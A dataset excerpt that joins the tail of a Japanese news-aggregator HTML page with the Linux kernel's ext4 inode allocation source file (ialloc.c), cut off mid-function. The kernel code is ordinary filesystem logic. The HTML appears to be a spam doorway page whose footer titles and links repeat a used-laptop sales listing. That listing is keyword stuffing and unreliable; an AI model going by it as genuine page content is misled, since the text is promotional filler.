3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! </a></div> </div> <span class='debug' style='display:none;'><!--score: 26 --></span> <div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3df371797c2edb03a03491018247c6d1d6d51e42.jpg" width="160" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-20px" /></a></div> <div class="item_status"> <span class="link_num over20">62<span>コメント</span></span> <span class="date date_new">2 時間前  </span> <a href="http://headlines.yahoo.co.jp/hl?a=20151226-00010000-chibatopi-l12" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410473e18vg.html">http://factory.aedew.com/images/Core2Duo/020410473e18vg.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 12 --></span> <div class="item_box"> <div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/5f191d984c12ff6d166bf0cb65f99c56fedea305.jpg" width="180" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-30px" /></a></div> <div class="item_status"> <span class="link_num over20">50<span>コメント</span></span> <span class="date date_new">4 時間前  </span> <a href="http://news.nicovideo.jp/watch/nw1961232" target="_blank" class="item_direct"> - news.nicovideo.jp</a></div> <div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410568q02qg.html">http://factory.aedew.com/images/Core2Duo/020410568q02qg.html</a></div> </div> <span class='debug' style='display:none;'><!--score: 11 --></span> <div class="more"><a href="">もっと画像で見る</a></div></div> </div> </div> </div> </div> </div><!-- end field_inner --> </div><!-- end field--> <div id="footer_menu_bar" class="menu_bar"> <div id="footer_menu_bar_inner" class="menu_bar_inner"><ul><li><a href="/" class="selected">トップ</a></li><li><a href="/all/newitem/">速報</a></li><li><a href="/news/">ニュース総合</a></li><li><a href="/society/">政治経済</a></li><li><a href="/entertainment/">エンタメ</a></li><li><a href="/sports/">スポーツ</a></li><li><a href="/itnews/">IT</a></li><li><a href="/international/">海外</a></li><li><a href="/science/">科学</a></li><li><a href="/odekake/">おでかけ</a></li><li><a href="/movie/">動画</a></li><li><a href="/2ch/">2ch</a></li><li><a href="/neta/">ネタ</a></li><li><a href="/all/">すべて</a></li></ul></div> </div><!-- /menu_bar --> <div id="footer"> <div id="footer_inner"> <a href="" title="【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! "><img src="/img/logo_s.png" width="64px" height="32px" /></a>  <span class="icon_set"> <a href="" title="RSS" class="icon icon_rss"></a> <a href="http://www.twitter.com/" target="_blank" title="twitter【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! " class="icon icon_twitter"></a> <a href="https://www.facebook.com/" target="_blank" title="facebook【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! " class="icon icon_facebook"></a> </span> <br /> <a href="">このサイトについて</a> - <a href="">ご意見・お問い合わせ</a> - <a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! </a> <br /><br /> <div class="footer_copyright"> <a href="">天気アプリ</a> | <a href="">【即納】 送料無料 【Windows7搭載モデル】【2012年発表モデル】TOSHIBA(東芝) B351/20c 高性能PentiumB950-2.1Ghz搭載★ 無線LAN搭載★ 取説付★ メモリ4GB搭載 3ヶ月保証(P46) 中古パソコン 中古 ノートパソコン 【中古】! </a> | <a href="">画像検索</a> | <a href="">Android音楽プレイヤー</a> | <a href="">メモ帳アプリ</a> </div> </div><!-- end footer_inner--> </div><!-- end footer--> </div><!-- end main--> </body> </html>
ForAEdesWeb/AEW2
images/Core2Duo/020412002y67gt.html
HTML
gpl-2.0
69,912
/* * linux/fs/ext4/ialloc.c * * Copyright (C) 1992, 1993, 1994, 1995 * Remy Card (card@masi.ibp.fr) * Laboratoire MASI - Institut Blaise Pascal * Universite Pierre et Marie Curie (Paris VI) * * BSD ufs-inspired inode and directory allocation by * Stephen Tweedie (sct@redhat.com), 1993 * Big-endian to little-endian byte-swapping/bitmaps by * David S. Miller (davem@caip.rutgers.edu), 1995 */ #include <linux/time.h> #include <linux/fs.h> #include <linux/jbd2.h> #include <linux/stat.h> #include <linux/string.h> #include <linux/quotaops.h> #include <linux/buffer_head.h> #include <linux/random.h> #include <linux/bitops.h> #include <linux/blkdev.h> #include <asm/byteorder.h> #include "ext4.h" #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" #include <trace/events/ext4.h> /* * ialloc.c contains the inodes allocation and deallocation routines */ /* * The free inodes are managed by bitmaps. A file system contains several * blocks groups. Each group contains 1 bitmap block for blocks, 1 bitmap * block for inodes, N blocks for the inode table and data blocks. * * The file system contains group descriptors which are located after the * super block. Each descriptor contains the number of the bitmap block and * the free blocks count in the block. */ /* * To avoid calling the atomic setbit hundreds or thousands of times, we only * need to use it within a single byte (to ensure we get endianness right). * We can use memset for the rest of the bitmap as there are no other users. */ void ext4_mark_bitmap_end(int start_bit, int end_bit, char *bitmap) { int i; if (start_bit >= end_bit) return; ext4_debug("mark end bits +%d through +%d used\n", start_bit, end_bit); for (i = start_bit; i < ((start_bit + 7) & ~7UL); i++) ext4_set_bit(i, bitmap); if (i < end_bit) memset(bitmap + (i >> 3), 0xff, (end_bit - i) >> 3); } /* Initializes an uninitialized inode bitmap */ static unsigned ext4_init_inode_bitmap(struct super_block *sb, struct buffer_head *bh, ext4_group_t block_group, struct ext4_group_desc *gdp) { struct ext4_sb_info *sbi = EXT4_SB(sb); J_ASSERT_BH(bh, buffer_locked(bh)); /* If checksum is bad mark all blocks and inodes use to prevent * allocation, essentially implementing a per-group read-only flag. */ if (!ext4_group_desc_csum_verify(sbi, block_group, gdp)) { ext4_error(sb, "Checksum bad for group %u", block_group); ext4_free_group_clusters_set(sb, gdp, 0); ext4_free_inodes_set(sb, gdp, 0); ext4_itable_unused_set(sb, gdp, 0); memset(bh->b_data, 0xff, sb->s_blocksize); return 0; } memset(bh->b_data, 0, (EXT4_INODES_PER_GROUP(sb) + 7) / 8); ext4_mark_bitmap_end(EXT4_INODES_PER_GROUP(sb), sb->s_blocksize * 8, bh->b_data); return EXT4_INODES_PER_GROUP(sb); } void ext4_end_bitmap_read(struct buffer_head *bh, int uptodate) { if (uptodate) { set_buffer_uptodate(bh); set_bitmap_uptodate(bh); } unlock_buffer(bh); put_bh(bh); } /* * Read the inode allocation bitmap for a given block_group, reading * into the specified slot in the superblock's bitmap cache. * * Return buffer_head of bitmap on success or NULL. */ static struct buffer_head * ext4_read_inode_bitmap(struct super_block *sb, ext4_group_t block_group) { struct ext4_group_desc *desc; struct buffer_head *bh = NULL; ext4_fsblk_t bitmap_blk; desc = ext4_get_group_desc(sb, block_group, NULL); if (!desc) return NULL; bitmap_blk = ext4_inode_bitmap(sb, desc); bh = sb_getblk(sb, bitmap_blk); if (unlikely(!bh)) { ext4_error(sb, "Cannot read inode bitmap - " "block_group = %u, inode_bitmap = %llu", block_group, bitmap_blk); return NULL; } if (bitmap_uptodate(bh)) return bh; lock_buffer(bh); if (bitmap_uptodate(bh)) { unlock_buffer(bh); return bh; } ext4_lock_group(sb, block_group); if (desc->bg_flags & cpu_to_le16(EXT4_BG_INODE_UNINIT)) { ext4_init_inode_bitmap(sb, bh, block_group, desc); set_bitmap_uptodate(bh); set_buffer_uptodate(bh); ext4_unlock_group(sb, block_group); unlock_buffer(bh); return bh; } ext4_unlock_group(sb, block_group); if (buffer_uptodate(bh)) { /* * if not uninit if bh is uptodate, * bitmap is also uptodate */ set_bitmap_uptodate(bh); unlock_buffer(bh); return bh; } /* * submit the buffer_head for reading */ trace_ext4_load_inode_bitmap(sb, block_group); bh->b_end_io = ext4_end_bitmap_read; get_bh(bh); submit_bh(READ, bh); wait_on_buffer(bh); if (!buffer_uptodate(bh)) { put_bh(bh); ext4_error(sb, "Cannot read inode bitmap - " "block_group = %u, inode_bitmap = %llu", block_group, bitmap_blk); return NULL; } return bh; } /* * NOTE! When we get the inode, we're the only people * that have access to it, and as such there are no * race conditions we have to worry about. The inode * is not on the hash-lists, and it cannot be reached * through the filesystem because the directory entry * has been deleted earlier. * * HOWEVER: we must make sure that we get no aliases, * which means that we have to call "clear_inode()" * _before_ we mark the inode not in use in the inode * bitmaps. Otherwise a newly created file might use * the same inode number (not actually the same pointer * though), and then we'd have two inodes sharing the * same inode number and space on the harddisk. */ void ext4_free_inode(handle_t *handle, struct inode *inode) { struct super_block *sb = inode->i_sb; int is_directory; unsigned long ino; struct buffer_head *bitmap_bh = NULL; struct buffer_head *bh2; ext4_group_t block_group; unsigned long bit; struct ext4_group_desc *gdp; struct ext4_super_block *es; struct ext4_sb_info *sbi; int fatal = 0, err, count, cleared; if (!sb) { printk(KERN_ERR "EXT4-fs: %s:%d: inode on " "nonexistent device\n", __func__, __LINE__); return; } if (atomic_read(&inode->i_count) > 1) { ext4_msg(sb, KERN_ERR, "%s:%d: inode #%lu: count=%d", __func__, __LINE__, inode->i_ino, atomic_read(&inode->i_count)); return; } if (inode->i_nlink) { ext4_msg(sb, KERN_ERR, "%s:%d: inode #%lu: nlink=%d\n", __func__, __LINE__, inode->i_ino, inode->i_nlink); return; } sbi = EXT4_SB(sb); ino = inode->i_ino; ext4_debug("freeing inode %lu\n", ino); trace_ext4_free_inode(inode); /* * Note: we must free any quota before locking the superblock, * as writing the quota to disk may need the lock as well. */ dquot_initialize(inode); ext4_xattr_delete_inode(handle, inode); dquot_free_inode(inode); dquot_drop(inode); is_directory = S_ISDIR(inode->i_mode); /* Do this BEFORE marking the inode not in use or returning an error */ ext4_clear_inode(inode); es = EXT4_SB(sb)->s_es; if (ino < EXT4_FIRST_INO(sb) || ino > le32_to_cpu(es->s_inodes_count)) { ext4_error(sb, "reserved or nonexistent inode %lu", ino); goto error_return; } block_group = (ino - 1) / EXT4_INODES_PER_GROUP(sb); bit = (ino - 1) % EXT4_INODES_PER_GROUP(sb); bitmap_bh = ext4_read_inode_bitmap(sb, block_group); if (!bitmap_bh) goto error_return; BUFFER_TRACE(bitmap_bh, "get_write_access"); fatal = ext4_journal_get_write_access(handle, bitmap_bh); if (fatal) goto error_return; fatal = -ESRCH; gdp = ext4_get_group_desc(sb, block_group, &bh2); if (gdp) { BUFFER_TRACE(bh2, "get_write_access"); fatal = ext4_journal_get_write_access(handle, bh2); } ext4_lock_group(sb, block_group); cleared = ext4_test_and_clear_bit(bit, bitmap_bh->b_data); if (fatal || !cleared) { ext4_unlock_group(sb, block_group); goto out; } count = ext4_free_inodes_count(sb, gdp) + 1; ext4_free_inodes_set(sb, gdp, count); if (is_directory) { count = ext4_used_dirs_count(sb, gdp) - 1; ext4_used_dirs_set(sb, gdp, count); percpu_counter_dec(&sbi->s_dirs_counter); } gdp->bg_checksum = ext4_group_desc_csum(sbi, block_group, gdp); ext4_unlock_group(sb, block_group); percpu_counter_inc(&sbi->s_freeinodes_counter); if (sbi->s_log_groups_per_flex) { ext4_group_t f = ext4_flex_group(sbi, block_group); atomic_inc(&sbi->s_flex_groups[f].free_inodes); if (is_directory) atomic_dec(&sbi->s_flex_groups[f].used_dirs); } BUFFER_TRACE(bh2, "call ext4_handle_dirty_metadata"); fatal = ext4_handle_dirty_metadata(handle, NULL, bh2); out: if (cleared) { BUFFER_TRACE(bitmap_bh, "call ext4_handle_dirty_metadata"); err = ext4_handle_dirty_metadata(handle, NULL, bitmap_bh); if (!fatal) fatal = err; ext4_mark_super_dirty(sb); } else { /* for debugging, sangwoo2.lee */ print_bh(sb, bitmap_bh, 0, EXT4_BLOCK_SIZE(sb)); /* for debugging */ ext4_error(sb, "bit already cleared for inode %lu", ino); } error_return: brelse(bitmap_bh); ext4_std_error(sb, fatal); } struct orlov_stats { __u64 free_clusters; __u32 free_inodes; __u32 used_dirs; }; /* * Helper function for Orlov's allocator; returns critical information * for a particular block group or flex_bg. If flex_size is 1, then g * is a block group number; otherwise it is flex_bg number. */ static void get_orlov_stats(struct super_block *sb, ext4_group_t g, int flex_size, struct orlov_stats *stats) { struct ext4_group_desc *desc; struct flex_groups *flex_group = EXT4_SB(sb)->s_flex_groups; if (flex_size > 1) { stats->free_inodes = atomic_read(&flex_group[g].free_inodes); stats->free_clusters = atomic64_read(&flex_group[g].free_clusters); stats->used_dirs = atomic_read(&flex_group[g].used_dirs); return; } desc = ext4_get_group_desc(sb, g, NULL); if (desc) { stats->free_inodes = ext4_free_inodes_count(sb, desc); stats->free_clusters = ext4_free_group_clusters(sb, desc); stats->used_dirs = ext4_used_dirs_count(sb, desc); } else { stats->free_inodes = 0; stats->free_clusters = 0; stats->used_dirs = 0; } } /* * Orlov's allocator for directories. * * We always try to spread first-level directories. * * If there are blockgroups with both free inodes and free blocks counts * not worse than average we return one with smallest directory count. * Otherwise we simply return a random group. * * For the rest rules look so: * * It's OK to put directory into a group unless * it has too many directories already (max_dirs) or * it has too few free inodes left (min_inodes) or * it has too few free blocks left (min_blocks) or * Parent's group is preferred, if it doesn't satisfy these * conditions we search cyclically through the rest. If none * of the groups look good we just look for a group with more * free inodes than average (starting at parent's group). */ static int find_group_orlov(struct super_block *sb, struct inode *parent, ext4_group_t *group, umode_t mode, const struct qstr *qstr) { ext4_group_t parent_group = EXT4_I(parent)->i_block_group; struct ext4_sb_info *sbi = EXT4_SB(sb); ext4_group_t real_ngroups = ext4_get_groups_count(sb); int inodes_per_group = EXT4_INODES_PER_GROUP(sb); unsigned int freei, avefreei, grp_free; ext4_fsblk_t freeb, avefreec; unsigned int ndirs; int max_dirs, min_inodes; ext4_grpblk_t min_clusters; ext4_group_t i, grp, g, ngroups; struct ext4_group_desc *desc; struct orlov_stats stats; int flex_size = ext4_flex_bg_size(sbi); struct dx_hash_info hinfo; ngroups = real_ngroups; if (flex_size > 1) { ngroups = (real_ngroups + flex_size - 1) >> sbi->s_log_groups_per_flex; parent_group >>= sbi->s_log_groups_per_flex; } freei = percpu_counter_read_positive(&sbi->s_freeinodes_counter); avefreei = freei / ngroups; freeb = EXT4_C2B(sbi, percpu_counter_read_positive(&sbi->s_freeclusters_counter)); avefreec = freeb; do_div(avefreec, ngroups); ndirs = percpu_counter_read_positive(&sbi->s_dirs_counter); if (S_ISDIR(mode) && ((parent == sb->s_root->d_inode) || (ext4_test_inode_flag(parent, EXT4_INODE_TOPDIR)))) { int best_ndir = inodes_per_group; int ret = -1; if (qstr) { hinfo.hash_version = DX_HASH_HALF_MD4; hinfo.seed = sbi->s_hash_seed; ext4fs_dirhash(qstr->name, qstr->len, &hinfo); grp = hinfo.hash; } else erandom_get_random_bytes((char *)&grp, (size_t)sizeof(grp)); parent_group = (unsigned)grp % ngroups; for (i = 0; i < ngroups; i++) { g = (parent_group + i) % ngroups; get_orlov_stats(sb, g, flex_size, &stats); if (!stats.free_inodes) continue; if (stats.used_dirs >= best_ndir) continue; if (stats.free_inodes < avefreei) continue; if (stats.free_clusters < avefreec) continue; grp = g; ret = 0; best_ndir = stats.used_dirs; } if (ret) goto fallback; found_flex_bg: if (flex_size == 1) { *group = grp; return 0; } /* * We pack inodes at the beginning of the flexgroup's * inode tables. Block allocation decisions will do * something similar, although regular files will * start at 2nd block group of the flexgroup. See * ext4_ext_find_goal() and ext4_find_near(). */ grp *= flex_size; for (i = 0; i < flex_size; i++) { if (grp+i >= real_ngroups) break; desc = ext4_get_group_desc(sb, grp+i, NULL); if (desc && ext4_free_inodes_count(sb, desc)) { *group = grp+i; return 0; } } goto fallback; } max_dirs = ndirs / ngroups + inodes_per_group / 16; min_inodes = avefreei - inodes_per_group*flex_size / 4; if (min_inodes < 1) min_inodes = 1; min_clusters = avefreec - EXT4_CLUSTERS_PER_GROUP(sb)*flex_size / 4; /* * Start looking in the flex group where we last allocated an * inode for this parent directory */ if (EXT4_I(parent)->i_last_alloc_group != ~0) { parent_group = EXT4_I(parent)->i_last_alloc_group; if (flex_size > 1) parent_group >>= sbi->s_log_groups_per_flex; } for (i = 0; i < ngroups; i++) { grp = (parent_group + i) % ngroups; get_orlov_stats(sb, grp, flex_size, &stats); if (stats.used_dirs >= max_dirs) continue; if (stats.free_inodes < min_inodes) continue; if (stats.free_clusters < min_clusters) continue; goto found_flex_bg; } fallback: ngroups = real_ngroups; avefreei = freei / ngroups; fallback_retry: parent_group = EXT4_I(parent)->i_block_group; for (i = 0; i < ngroups; i++) { grp = (parent_group + i) % ngroups; desc = ext4_get_group_desc(sb, grp, NULL); if (desc) { grp_free = ext4_free_inodes_count(sb, desc); if (grp_free && grp_free >= avefreei) { *group = grp; return 0; } } } if (avefreei) { /* * The free-inodes counter is approximate, and for really small * filesystems the above test can fail to find any blockgroups */ avefreei = 0; goto fallback_retry; } return -1; } static int find_group_other(struct super_block *sb, struct inode *parent, ext4_group_t *group, umode_t mode) { ext4_group_t parent_group = EXT4_I(parent)->i_block_group; ext4_group_t i, last, ngroups = ext4_get_groups_count(sb); struct ext4_group_desc *desc; int flex_size = ext4_flex_bg_size(EXT4_SB(sb)); /* * Try to place the inode is the same flex group as its * parent. If we can't find space, use the Orlov algorithm to * find another flex group, and store that information in the * parent directory's inode information so that use that flex * group for future allocations. */ if (flex_size > 1) { int retry = 0; try_again: parent_group &= ~(flex_size-1); last = parent_group + flex_size; if (last > ngroups) last = ngroups; for (i = parent_group; i < last; i++) { desc = ext4_get_group_desc(sb, i, NULL); if (desc && ext4_free_inodes_count(sb, desc)) { *group = i; return 0; } } if (!retry && EXT4_I(parent)->i_last_alloc_group != ~0) { retry = 1; parent_group = EXT4_I(parent)->i_last_alloc_group; goto try_again; } /* * If this didn't work, use the Orlov search algorithm * to find a new flex group; we pass in the mode to * avoid the topdir algorithms. */ *group = parent_group + flex_size; if (*group > ngroups) *group = 0; return find_group_orlov(sb, parent, group, mode, NULL); } /* * Try to place the inode in its parent directory */ *group = parent_group; desc = ext4_get_group_desc(sb, *group, NULL); if (desc && ext4_free_inodes_count(sb, desc) && ext4_free_group_clusters(sb, desc)) return 0; /* * We're going to place this inode in a different blockgroup from its * parent. We want to cause files in a common directory to all land in * the same blockgroup. But we want files which are in a different * directory which shares a blockgroup with our parent to land in a * different blockgroup. * * So add our directory's i_ino into the starting point for the hash. */ *group = (*group + parent->i_ino) % ngroups; /* * Use a quadratic hash to find a group with a free inode and some free * blocks. */ for (i = 1; i < ngroups; i <<= 1) { *group += i; if (*group >= ngroups) *group -= ngroups; desc = ext4_get_group_desc(sb, *group, NULL); if (desc && ext4_free_inodes_count(sb, desc) && ext4_free_group_clusters(sb, desc)) return 0; } /* * That failed: try linear search for a free inode, even if that group * has no free blocks. */ *group = parent_group; for (i = 0; i < ngroups; i++) { if (++*group >= ngroups) *group = 0; desc = ext4_get_group_desc(sb, *group, NULL); if (desc && ext4_free_inodes_count(sb, desc)) return 0; } return -1; } /* * There are two policies for allocating an inode. If the new inode is * a directory, then a forward search is made for a block group with both * free space and a low directory-to-inode ratio; if that fails, then of * the groups with above-average free space, that group with the fewest * directories already is chosen. * * For other inodes, search forward from the parent directory's block * group to find a free inode. */ struct inode *__ext4_new_inode(handle_t *handle, struct inode *dir, umode_t mode, const struct qstr *qstr, __u32 goal, uid_t *owner, int nblocks) { struct super_block *sb; struct buffer_head *inode_bitmap_bh = NULL; struct buffer_head *group_desc_bh; ext4_group_t ngroups, group = 0; unsigned long ino = 0; struct inode *inode; struct ext4_group_desc *gdp = NULL; struct ext4_inode_info *ei; struct ext4_sb_info *sbi; int ret2, err = 0; struct inode *ret; ext4_group_t i; ext4_group_t flex_group; /* Cannot create files in a deleted directory */ if (!dir || !dir->i_nlink) return ERR_PTR(-EPERM); sb = dir->i_sb; ngroups = ext4_get_groups_count(sb); trace_ext4_request_inode(dir, mode); inode = new_inode(sb); if (!inode) return ERR_PTR(-ENOMEM); ei = EXT4_I(inode); sbi = EXT4_SB(sb); if (!goal) goal = sbi->s_inode_goal; if (goal && goal <= le32_to_cpu(sbi->s_es->s_inodes_count)) { group = (goal - 1) / EXT4_INODES_PER_GROUP(sb); ino = (goal - 1) % EXT4_INODES_PER_GROUP(sb); ret2 = 0; goto got_group; } if (S_ISDIR(mode)) ret2 = find_group_orlov(sb, dir, &group, mode, qstr); else ret2 = find_group_other(sb, dir, &group, mode); got_group: EXT4_I(dir)->i_last_alloc_group = group; err = -ENOSPC; if (ret2 == -1) goto out; /* * Normally we will only go through one pass of this loop, * unless we get unlucky and it turns out the group we selected * had its last inode grabbed by someone else. */ for (i = 0; i < ngroups; i++, ino = 0) { err = -EIO; gdp = ext4_get_group_desc(sb, group, &group_desc_bh); if (!gdp) { ext4_debug("ext4_get_group_desc error: %d\n", group); print_bh(sb, group_desc_bh, 0, EXT4_BLOCK_SIZE(sb)); goto fail; } if (inode_bitmap_bh) { ext4_handle_release_buffer(handle, inode_bitmap_bh); brelse(inode_bitmap_bh); } inode_bitmap_bh = ext4_read_inode_bitmap(sb, group); if (!inode_bitmap_bh) { ext4_debug("ext4_read_inode_bitmap error: %d\n", group); goto fail; } repeat_in_this_group: ino = ext4_find_next_zero_bit((unsigned long *) inode_bitmap_bh->b_data, EXT4_INODES_PER_GROUP(sb), ino); if (ino >= EXT4_INODES_PER_GROUP(sb)) goto next_group; if (group == 0 && (ino+1) < EXT4_FIRST_INO(sb)) { ext4_error(sb, "reserved inode found cleared - " "inode=%lu", ino + 1); continue; } if (!handle) { BUG_ON(nblocks <= 0); handle = ext4_journal_start_sb(dir->i_sb, nblocks); if (IS_ERR(handle)) { err = PTR_ERR(handle); goto fail; } } BUFFER_TRACE(inode_bitmap_bh, "get_write_access"); err = ext4_journal_get_write_access(handle, inode_bitmap_bh); if (err) goto fail; ext4_lock_group(sb, group); ret2 = ext4_test_and_set_bit(ino, inode_bitmap_bh->b_data); ext4_unlock_group(sb, group); ino++; /* the inode bitmap is zero-based */ if (!ret2) goto got; /* we grabbed the inode! */ if (ino < EXT4_INODES_PER_GROUP(sb)) goto repeat_in_this_group; next_group: if (++group == ngroups) group = 0; } ext4_handle_release_buffer(handle, inode_bitmap_bh); err = -ENOSPC; goto out; got: BUFFER_TRACE(inode_bitmap_bh, "call ext4_handle_dirty_metadata"); err = ext4_handle_dirty_metadata(handle, NULL, inode_bitmap_bh); if (err) { ext4_debug("ext4_handle_dirty_metadata error\n"); goto fail; } BUFFER_TRACE(group_desc_bh, "get_write_access"); err = ext4_journal_get_write_access(handle, group_desc_bh); if (err) { ext4_debug("ext4_journal_get_write_access error\n"); goto fail; } /* We may have to initialize the block bitmap if it isn't already */ if (EXT4_HAS_RO_COMPAT_FEATURE(sb, EXT4_FEATURE_RO_COMPAT_GDT_CSUM) && gdp->bg_flags & cpu_to_le16(EXT4_BG_BLOCK_UNINIT)) { struct buffer_head *block_bitmap_bh; block_bitmap_bh = ext4_read_block_bitmap(sb, group); if (!block_bitmap_bh) { err = -EIO; goto out; } BUFFER_TRACE(block_bitmap_bh, "get block bitmap access"); err = ext4_journal_get_write_access(handle, block_bitmap_bh); if (err) { brelse(block_bitmap_bh); ext4_debug("ext4_journal_get_write_access error\n"); goto fail; } BUFFER_TRACE(block_bitmap_bh, "dirty block bitmap"); err = ext4_handle_dirty_metadata(handle, NULL, block_bitmap_bh); /* recheck and clear flag under lock if we still need to */ ext4_lock_group(sb, group); if (gdp->bg_flags & cpu_to_le16(EXT4_BG_BLOCK_UNINIT)) { gdp->bg_flags &= cpu_to_le16(~EXT4_BG_BLOCK_UNINIT); ext4_free_group_clusters_set(sb, gdp, ext4_free_clusters_after_init(sb, group, gdp)); gdp->bg_checksum = ext4_group_desc_csum(sbi, group, gdp); } ext4_unlock_group(sb, group); brelse(block_bitmap_bh); if (err) { ext4_debug("ext4_handle_dirty_metadata error\n"); goto fail; } } /* Update the relevant bg descriptor fields */ if (EXT4_HAS_RO_COMPAT_FEATURE(sb, EXT4_FEATURE_RO_COMPAT_GDT_CSUM)) { int free; struct ext4_group_info *grp = ext4_get_group_info(sb, group); down_read(&grp->alloc_sem); /* protect vs itable lazyinit */ ext4_lock_group(sb, group); /* while we modify the bg desc */ free = EXT4_INODES_PER_GROUP(sb) - ext4_itable_unused_count(sb, gdp); if (gdp->bg_flags & cpu_to_le16(EXT4_BG_INODE_UNINIT)) { gdp->bg_flags &= cpu_to_le16(~EXT4_BG_INODE_UNINIT); free = 0; } /* * Check the relative inode number against the last used * relative inode number in this group. if it is greater * we need to update the bg_itable_unused count */ if (ino > free) ext4_itable_unused_set(sb, gdp, (EXT4_INODES_PER_GROUP(sb) - ino)); up_read(&grp->alloc_sem); } else { ext4_lock_group(sb, group); } ext4_free_inodes_set(sb, gdp, ext4_free_inodes_count(sb, gdp) - 1); if (S_ISDIR(mode)) { ext4_used_dirs_set(sb, gdp, ext4_used_dirs_count(sb, gdp) + 1); if (sbi->s_log_groups_per_flex) { ext4_group_t f = ext4_flex_group(sbi, group); atomic_inc(&sbi->s_flex_groups[f].used_dirs); } } if (EXT4_HAS_RO_COMPAT_FEATURE(sb, EXT4_FEATURE_RO_COMPAT_GDT_CSUM)) { gdp->bg_checksum = ext4_group_desc_csum(sbi, group, gdp); } ext4_unlock_group(sb, group); BUFFER_TRACE(group_desc_bh, "call ext4_handle_dirty_metadata"); err = ext4_handle_dirty_metadata(handle, NULL, group_desc_bh); if (err) { ext4_debug("ext4_handle_dirty_metadata error\n"); goto fail; } percpu_counter_dec(&sbi->s_freeinodes_counter); if (S_ISDIR(mode)) percpu_counter_inc(&sbi->s_dirs_counter); ext4_mark_super_dirty(sb); if (sbi->s_log_groups_per_flex) { flex_group = ext4_flex_group(sbi, group); atomic_dec(&sbi->s_flex_groups[flex_group].free_inodes); } if (owner) { inode->i_mode = mode; inode->i_uid = owner[0]; inode->i_gid = owner[1]; } else if (test_opt(sb, GRPID)) { inode->i_mode = mode; inode->i_uid = current_fsuid(); inode->i_gid = dir->i_gid; } else inode_init_owner(inode, dir, mode); inode->i_ino = ino + group * EXT4_INODES_PER_GROUP(sb); /* This is the optimal IO size (for stat), not the fs block size */ inode->i_blocks = 0; inode->i_mtime = inode->i_atime = inode->i_ctime = ei->i_crtime = ext4_current_time(inode); memset(ei->i_data, 0, sizeof(ei->i_data)); ei->i_dir_start_lookup = 0; ei->i_disksize = 0; /* Don't inherit extent flag from directory, amongst others. */ ei->i_flags = ext4_mask_flags(mode, EXT4_I(dir)->i_flags & EXT4_FL_INHERITED); ei->i_file_acl = 0; ei->i_dtime = 0; ei->i_block_group = group; ei->i_last_alloc_group = ~0; ext4_set_inode_flags(inode); if (IS_DIRSYNC(inode)) ext4_handle_sync(handle); if (insert_inode_locked(inode) < 0) { /* * Likely a bitmap corruption causing inode to be allocated * twice. */ ext4_debug("insert_inode_locked error\n"); if(inode_bitmap_bh) print_bh(sb, inode_bitmap_bh, 0, EXT4_BLOCK_SIZE(sb)); err = -EIO; goto fail; } spin_lock(&sbi->s_next_gen_lock); inode->i_generation = sbi->s_next_generation++; spin_unlock(&sbi->s_next_gen_lock); ext4_clear_state_flags(ei); /* Only relevant on 32-bit archs */ ext4_set_inode_state(inode, EXT4_STATE_NEW); ei->i_extra_isize = EXT4_SB(sb)->s_want_extra_isize; ret = inode; dquot_initialize(inode); err = dquot_alloc_inode(inode); if (err) goto fail_drop; err = ext4_init_acl(handle, inode, dir); if (err) goto fail_free_drop; err = ext4_init_security(handle, inode, dir, qstr); if (err) goto fail_free_drop; if (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_EXTENTS)) { /* set extent flag only for directory, file and normal symlink*/ if (S_ISDIR(mode) || S_ISREG(mode) || S_ISLNK(mode)) { ext4_set_inode_flag(inode, EXT4_INODE_EXTENTS); ext4_ext_tree_init(handle, inode); } } if (ext4_handle_valid(handle)) { ei->i_sync_tid = handle->h_transaction->t_tid; ei->i_datasync_tid = handle->h_transaction->t_tid; } err = ext4_mark_inode_dirty(handle, inode); if (err) { ext4_std_error(sb, err); goto fail_free_drop; } ext4_debug("allocating inode %lu\n", inode->i_ino); trace_ext4_allocate_inode(inode, dir, mode); goto really_out; fail: ext4_std_error(sb, err); out: iput(inode); ret = ERR_PTR(err); really_out: brelse(inode_bitmap_bh); return ret; fail_free_drop: dquot_free_inode(inode); fail_drop: dquot_drop(inode); inode->i_flags |= S_NOQUOTA; clear_nlink(inode); unlock_new_inode(inode); iput(inode); brelse(inode_bitmap_bh); return ERR_PTR(err); } /* Verify that we are loading a valid orphan from disk */ struct inode *ext4_orphan_get(struct super_block *sb, unsigned long ino) { unsigned long max_ino = le32_to_cpu(EXT4_SB(sb)->s_es->s_inodes_count); ext4_group_t block_group; int bit; struct buffer_head *bitmap_bh; struct inode *inode = NULL; long err = -EIO; /* Error cases - e2fsck has already cleaned up for us */ if (ino > max_ino) { ext4_warning(sb, "bad orphan ino %lu! e2fsck was run?", ino); goto error; } block_group = (ino - 1) / EXT4_INODES_PER_GROUP(sb); bit = (ino - 1) % EXT4_INODES_PER_GROUP(sb); bitmap_bh = 